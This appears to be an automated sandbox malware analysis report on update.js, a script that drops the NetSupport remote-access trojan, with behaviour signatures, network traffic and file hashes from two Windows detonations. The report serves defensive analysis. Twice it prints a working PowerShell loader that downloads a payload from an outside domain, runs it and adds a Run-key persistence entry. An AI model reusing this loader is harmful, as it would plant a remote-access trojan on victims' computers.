Malware Analysis Report

2024-10-23 16:16

Sample ID 240124-qnvq5sbdd6
Target update.js
SHA256 2218ec62fc556c7b06749ad5066a504264ef7d8349aac4d0c08443d380545ca3
Tags
netsupport persistence rat
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

2218ec62fc556c7b06749ad5066a504264ef7d8349aac4d0c08443d380545ca3

Threat Level: Known bad

The file update.js was found to be: Known bad.

Malicious Activity Summary

netsupport persistence rat

NetSupport

Blocklisted process makes network request

Checks computer location settings

Executes dropped EXE

Loads dropped DLL

Adds Run key to start application

Enumerates physical storage devices

Suspicious use of AdjustPrivilegeToken

Suspicious use of WriteProcessMemory

Suspicious behavior: EnumeratesProcesses

Suspicious use of FindShellTrayWindow

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-01-24 13:24

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-01-24 13:24

Reported

2024-01-24 13:27

Platform

win7-20231215-en

Max time kernel

118s

Max time network

119s

Command Line

wscript.exe C:\Users\Admin\AppData\Local\Temp\update.js

Signatures

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Windows\system32\wscript.exe

wscript.exe C:\Users\Admin\AppData\Local\Temp\update.js

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $OsDVkrlGkES='https://boxtechcompany.com/1/GetData.php?6391';$xcVxNiULYzKMaIlYLqVorQ=(New-Object System.Net.WebClient).DownloadString($OsDVkrlGkES);$DpfCYRLuVHPScYcaHlibKbjfuuMhUMZVuQQ=[System.Convert]::FromBase64String($xcVxNiULYzKMaIlYLqVorQ);$zxc = Get-Random -Minimum -1000 -Maximum 1000; $IyrierWsCFMAdjhPJnDxD=[System.Environment]::GetFolderPath('ApplicationData')+'\DIVX'+$zxc;if (!(Test-Path $IyrierWsCFMAdjhPJnDxD -PathType Container)) { New-Item -Path $IyrierWsCFMAdjhPJnDxD -ItemType Directory };$p=Join-Path $IyrierWsCFMAdjhPJnDxD 'zxc.zip';[System.IO.File]::WriteAllBytes($p,$DpfCYRLuVHPScYcaHlibKbjfuuMhUMZVuQQ);try { Add-Type -A System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory($p,$IyrierWsCFMAdjhPJnDxD)} catch { Write-Host 'Failed: ' + $_; exit};$e=Join-Path $IyrierWsCFMAdjhPJnDxD 'client32.exe';if (Test-Path $e -PathType Leaf) { Start-Process -FilePath $e} else { Write-Host 'No exe.'};$FSDFSSD=Get-Item $IyrierWsCFMAdjhPJnDxD -Force; $FSDFSSD.attributes='Hidden';$s=$IyrierWsCFMAdjhPJnDxD+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='OFFICE';$t='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $t;

Network

Country Destination Domain Proto
US 8.8.8.8:53 boxtechcompany.com udp
RU 188.127.224.160:443 boxtechcompany.com tcp
RU 188.127.224.160:443 boxtechcompany.com tcp

Files

memory/2848-4-0x000000001B5E0000-0x000000001B8C2000-memory.dmp

memory/2848-5-0x0000000001F70000-0x0000000001F78000-memory.dmp

memory/2848-6-0x000007FEF6080000-0x000007FEF6A1D000-memory.dmp

memory/2848-7-0x0000000001ED0000-0x0000000001F50000-memory.dmp

memory/2848-8-0x000007FEF6080000-0x000007FEF6A1D000-memory.dmp

memory/2848-9-0x0000000001ED0000-0x0000000001F50000-memory.dmp

memory/2848-11-0x0000000001ED0000-0x0000000001F50000-memory.dmp

memory/2848-10-0x0000000001ED0000-0x0000000001F50000-memory.dmp

memory/2848-12-0x0000000001ED0000-0x0000000001F50000-memory.dmp

memory/2848-13-0x000007FEF6080000-0x000007FEF6A1D000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-01-24 13:24

Reported

2024-01-24 13:27

Platform

win10v2004-20231215-en

Max time kernel

143s

Max time network

151s

Command Line

wscript.exe C:\Users\Admin\AppData\Local\Temp\update.js

Signatures

NetSupport

rat netsupport

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-635608581-3370340891-292606865-1000\Control Panel\International\Geo\Nation C:\Windows\system32\wscript.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Roaming\DIVX887\client32.exe N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-635608581-3370340891-292606865-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\OFFICE = "C:\\Users\\Admin\\AppData\\Roaming\\DIVX887\\client32.exe" C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSecurityPrivilege N/A C:\Users\Admin\AppData\Roaming\DIVX887\client32.exe N/A

Suspicious use of FindShellTrayWindow

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Roaming\DIVX887\client32.exe N/A

Processes

C:\Windows\system32\wscript.exe

wscript.exe C:\Users\Admin\AppData\Local\Temp\update.js

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $OsDVkrlGkES='https://boxtechcompany.com/1/GetData.php?6391';$xcVxNiULYzKMaIlYLqVorQ=(New-Object System.Net.WebClient).DownloadString($OsDVkrlGkES);$DpfCYRLuVHPScYcaHlibKbjfuuMhUMZVuQQ=[System.Convert]::FromBase64String($xcVxNiULYzKMaIlYLqVorQ);$zxc = Get-Random -Minimum -1000 -Maximum 1000; $IyrierWsCFMAdjhPJnDxD=[System.Environment]::GetFolderPath('ApplicationData')+'\DIVX'+$zxc;if (!(Test-Path $IyrierWsCFMAdjhPJnDxD -PathType Container)) { New-Item -Path $IyrierWsCFMAdjhPJnDxD -ItemType Directory };$p=Join-Path $IyrierWsCFMAdjhPJnDxD 'zxc.zip';[System.IO.File]::WriteAllBytes($p,$DpfCYRLuVHPScYcaHlibKbjfuuMhUMZVuQQ);try { Add-Type -A System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory($p,$IyrierWsCFMAdjhPJnDxD)} catch { Write-Host 'Failed: ' + $_; exit};$e=Join-Path $IyrierWsCFMAdjhPJnDxD 'client32.exe';if (Test-Path $e -PathType Leaf) { Start-Process -FilePath $e} else { Write-Host 'No exe.'};$FSDFSSD=Get-Item $IyrierWsCFMAdjhPJnDxD -Force; $FSDFSSD.attributes='Hidden';$s=$IyrierWsCFMAdjhPJnDxD+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='OFFICE';$t='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $t;

C:\Users\Admin\AppData\Roaming\DIVX887\client32.exe

"C:\Users\Admin\AppData\Roaming\DIVX887\client32.exe"

Network

Country Destination Domain Proto
US 8.8.8.8:53 183.142.211.20.in-addr.arpa udp
US 8.8.8.8:53 boxtechcompany.com udp
RU 188.127.224.160:443 boxtechcompany.com tcp
US 8.8.8.8:53 179.178.17.96.in-addr.arpa udp
US 8.8.8.8:53 160.224.127.188.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 209.205.72.20.in-addr.arpa udp
NL 81.19.137.226:443 tcp
US 8.8.8.8:53 geo.netsupportsoftware.com udp
US 104.26.1.231:80 geo.netsupportsoftware.com tcp
US 8.8.8.8:53 226.137.19.81.in-addr.arpa udp
US 8.8.8.8:53 231.1.26.104.in-addr.arpa udp
US 8.8.8.8:53 217.106.137.52.in-addr.arpa udp
US 8.8.8.8:53 86.23.85.13.in-addr.arpa udp
US 8.8.8.8:53 15.164.165.52.in-addr.arpa udp
US 8.8.8.8:53 217.135.221.88.in-addr.arpa udp
US 8.8.8.8:53 240.221.184.93.in-addr.arpa udp
US 8.8.8.8:53 170.117.168.52.in-addr.arpa udp

Files

memory/2680-0-0x0000015A22690000-0x0000015A226B2000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hf1wmkre.m5l.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/2680-10-0x00007FFA57740000-0x00007FFA58201000-memory.dmp

memory/2680-11-0x0000015A22710000-0x0000015A22720000-memory.dmp

memory/2680-12-0x0000015A22710000-0x0000015A22720000-memory.dmp

memory/2680-13-0x0000015A22710000-0x0000015A22720000-memory.dmp

memory/2680-15-0x0000015A24BB0000-0x0000015A24BBA000-memory.dmp

memory/2680-16-0x0000015A24D40000-0x0000015A24D52000-memory.dmp

C:\Users\Admin\AppData\Roaming\DIVX887\client32.exe

MD5 c4f1b50e3111d29774f7525039ff7086
SHA1 57539c95cba0986ec8df0fcdea433e7c71b724c6
SHA256 18df68d1581c11130c139fa52abb74dfd098a9af698a250645d6a4a65efcbf2d
SHA512 005db65cedaaccc85525fb3cdab090054bb0bb9cc8c37f8210ec060f490c64945a682b5dd5d00a68ac2b8c58894b6e7d938acaa1130c1cc5667e206d38b942c5

C:\Users\Admin\AppData\Roaming\DIVX887\PCICL32.dll

MD5 8b5fd603343cdaa4dfb10ed595f12c98
SHA1 70f168163382f332091f339241068b75d091b43a
SHA256 0ea642aa4ca4e5f607f338410f95b789ae767fafb498ad84296e2a693b2a0804
SHA512 1ea6cef2b46124a089647f518289601d0b3764c10d7a8ecfc834b01471a767604d54c7e2b0ef6ca19b063d67fcd7272a1d479edaf02b893b03f9eee94d85a243

C:\Users\Admin\AppData\Roaming\DIVX887\PCICL32.DLL

MD5 962030cd676cd2f449f450b1959115ef
SHA1 ea483b7947799d938f4477c5be0dcd50c92b6555
SHA256 5caefa637447abe0e4b86482c2babea301a00127f94b273a8f9a3d7285c58f70
SHA512 de779696336cfa728fffe9939fd05b3a8dcae90e36eed9982cb9f71f8592dff219a361714e99f5e3baf4aa2349f504b72a793e642df74aeb886769a8c2ccd1b7

C:\Users\Admin\AppData\Roaming\DIVX887\PCICHEK.DLL

MD5 104b30fef04433a2d2fd1d5f99f179fe
SHA1 ecb08e224a2f2772d1e53675bedc4b2c50485a41
SHA256 956b9fa960f913cce3137089c601f3c64cc24c54614b02bba62abb9610a985dd
SHA512 5efcaa8c58813c3a0a6026cd7f3b34ad4fb043fd2d458db2e914429be2b819f1ac74e2d35e4439601cf0cb50fcdcafdcf868da328eaaeec15b0a4a6b8b2c218f

C:\Users\Admin\AppData\Roaming\DIVX887\pcicapi.dll

MD5 34dfb87e4200d852d1fb45dc48f93cfc
SHA1 35b4e73fb7c8d4c3fefb90b7e7dc19f3e653c641
SHA256 2d6c6200508c0797e6542b195c999f3485c4ef76551aa3c65016587788ba1703
SHA512 f5bb4e700322cbaa5069244812a9b6ce6899ce15b4fd6384a3e8be421e409e4526b2f67fe210394cd47c4685861faf760eff9af77209100b82b2e0655581c9b2

C:\Users\Admin\AppData\Roaming\DIVX887\MSVCR100.dll

MD5 4531b34e5195d7339096c16029d7bdf7
SHA1 96c1178b71040b2e47f5499b300f2845a42f9101
SHA256 23eb52d4c144f90831d8b12cb70de6087a8b712eac61f98ad0dc3c7ccc07b97f
SHA512 097369b718325aa55c800ec74e6a675700c7d990c0e541912fe15f32a2689c474ab2482c9ca43873cee0c3d5516315b96d83f8b3d112cb4df302a507b2d98d45

C:\Users\Admin\AppData\Roaming\DIVX887\msvcr100.dll

MD5 cc63fc910fccea9d94f6e3542e5e7071
SHA1 e7edf29682715f43de1214b30f0aba3fab1363a6
SHA256 73f5d282a2486509762c6439cddc6c71ef5048be8a1260d7e2ae217267aec693
SHA512 7741b3ed6f076f9371ac6ac1f49d755c7fcb7768d2851bd9f0029c291993ad8969056f709d5b35d73b55db1960f105d95427b83324f3e026c84ce59c2d5fb581

C:\Users\Admin\AppData\Roaming\DIVX887\msvcr100.dll

MD5 0e37fbfa79d349d672456923ec5fbbe3
SHA1 4e880fc7625ccf8d9ca799d5b94ce2b1e7597335
SHA256 8793353461826fbd48f25ea8b835be204b758ce7510db2af631b28850355bd18
SHA512 2bea9bd528513a3c6a54beac25096ee200a4e6ccfc2a308ae9cfd1ad8738e2e2defd477d59db527a048e5e9a4fe1fc1d771701de14ef82b4dbcdc90df0387630

memory/2680-81-0x00007FFA57740000-0x00007FFA58201000-memory.dmp

C:\Users\Admin\AppData\Roaming\DIVX887\NSM.LIC

MD5 1b41e64c60ca9dfadeb063cd822ab089
SHA1 abfcd51bb120a7eae5bbd9a99624e4abe0c9139d
SHA256 f4e2f28169e0c88b2551b6f1d63f8ba513feb15beacc43a82f626b93d673f56d
SHA512 c97e0eabea62302a4cfef974ac309f3498505dd055ba74133ee2462e215b3ebc5c647e11bcbac1246b9f750b5d09240ca08a6b617a7007f2fa955f6b6dd7fee4

C:\Users\Admin\AppData\Roaming\DIVX887\client32.ini

MD5 5d5a682d300dd44ec669829d77790b31
SHA1 9a124709f1a17f18b61179bfed6797df13e387a2
SHA256 22f3be353ce99ddc16179f0280936fd2626b949efc3dacf0d23c085a98503ec8
SHA512 beff890c9e59d2033a15eda015db137da44ca77a7361f8b1a1ea76a6138806c898f9eac8a7a794ca0dc32e1f3c5e5bd8058a52164652d015df02305786f407e7

C:\Users\Admin\AppData\Roaming\DIVX887\HTCTL32.DLL

MD5 c94005d2dcd2a54e40510344e0bb9435
SHA1 55b4a1620c5d0113811242c20bd9870a1e31d542
SHA256 3c072532bf7674d0c5154d4d22a9d9c0173530c0d00f69911cdbc2552175d899
SHA512 2e6f673864a54b1dcad9532ef9b18a9c45c0844f1f53e699fade2f41e43fa5cbc9b8e45e6f37b95f84cf6935a96fba2950ee3e0e9542809fd288fefba34ddd6a